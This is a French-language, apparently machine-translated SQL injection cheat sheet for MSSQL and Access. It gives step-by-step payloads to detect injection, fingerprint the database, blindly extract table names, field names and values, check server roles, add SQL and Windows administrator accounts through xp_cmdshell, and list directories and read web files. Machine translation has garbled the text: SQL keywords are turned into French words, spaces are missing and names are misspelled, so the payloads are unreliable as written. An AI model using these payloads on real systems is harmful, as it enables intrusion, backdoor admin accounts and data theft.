1. Déterminez s'il y a une injection
; et1 = 1
; et1 = 2
2. Jugement préliminaire pour savoir s'il s'agit de MSSQL
; etUser> 0
3. Les paramètres d'injection sont des caractères
'et [condition de requête] et' '='
4. Pas de paramètres de filtrage lors de la recherche
'et [condition de requête] et'% 25 '='
5. système de base de données
; et (selectCount (*) fromSysObjects)> 0msSQL
; et (selectCount (*) FROMSYSYSOBJECTS)> 0ACCESS
6. Devinez la base de données
; et (selectCount (*) à partir de [nom de base de données])> 0
7. Devinez le champ
; et (selectCount (nom de champ) à partir du nom de la base de données)> 0
8. Devinez la longueur du record sur le terrain
; et (selectTop1len (nom de champ) à partir du nom de la base de données)> 0
9. (1) Devinez la valeur ASCII du champ (accès)
; et (selecttop1asc (mid (nom de champ, 1, 1)) à partir du nom de la base de données)> 0
(2) Devinez la valeur ASCII du champ (MSSQL)
; et (selectTop1Unicode (substring (nom de champ, 1, 1)) à partir du nom de la base de données)> 0
10. Structure d'autorisation de test (MSSQL)
; et1 = (selectis_srvroleMember ('sysadmin')); -
; et1 = (selectis_srvroleMember ('ServerAdmin')); -
; et1 = (selectis_srvroleMember ('setupadmin')); -
; et1 = (selectis_srvroleMember ('SecurityAdmin')); -
; et1 = (Selectis_srvroleMember ('diskadmin')); -
; et1 = (Selectis_srvroleMember ('Bulkadmin')); -
; et1 = (selectis_member ('db_owner')); -
11. Ajouter le compte MSSQL et système
; execmaster.dbo.sp_addloginusername; -
; execmaster.dbo.sp_passwordnull, nom d'utilisateur, mot de passe; -
; execmaster.dbo.sp_addsrvroleMembersysAdminInUsername; -
; execmaster.dbo.xp_cmdshell'neTuserUserAmPassword / Workstations: * / Times: all / PasswordChg: Oui / PasswordReq: Yes / Active: Yes / Add '; -
; execmaster.dbo.xp_cmdshell'neTuserUserAmPassword / Add '; -
; execmaster.dbo.xp_cmdshell'netlocalgroupadministrateurs usinname / add '; -
12. (1) Transférer le répertoire
; CreateTabledIrs (pathsvarchar (100), idInt)
; insertdirsexecmaster.dbo.xp_dirtree'c: / '
; et (selectTop1PathsFromDirs)> 0
; et (selectTop1PathsfromDirSwherePathsNotin («Chemins obtenus à partir de l'étape précédente»))>)
(2) Traverser le répertoire
; createTableTEmp (idnvarchar (255), num1nvarchar (255), num2nvarchar (255), num3nvarchar (255)); -
; inserttempexecmaster.dbo.xp_availableMedia; -get tous les disques actuels
; insertintotemp (id) execmaster.dbo.xp_subdirs'c: / '; - obtenez la liste des sous-répertoires
; insertintotemp (id, num1) execmaster.dbo.xp_dirtree'c: / '; - obtenez la structure de l'arbre du répertoire de tous les sous-répertoires
; insertintotemp (id) execmaster.dbo.xp_cmdshell'typec: /web/index.asp '; - afficher le contenu du fichier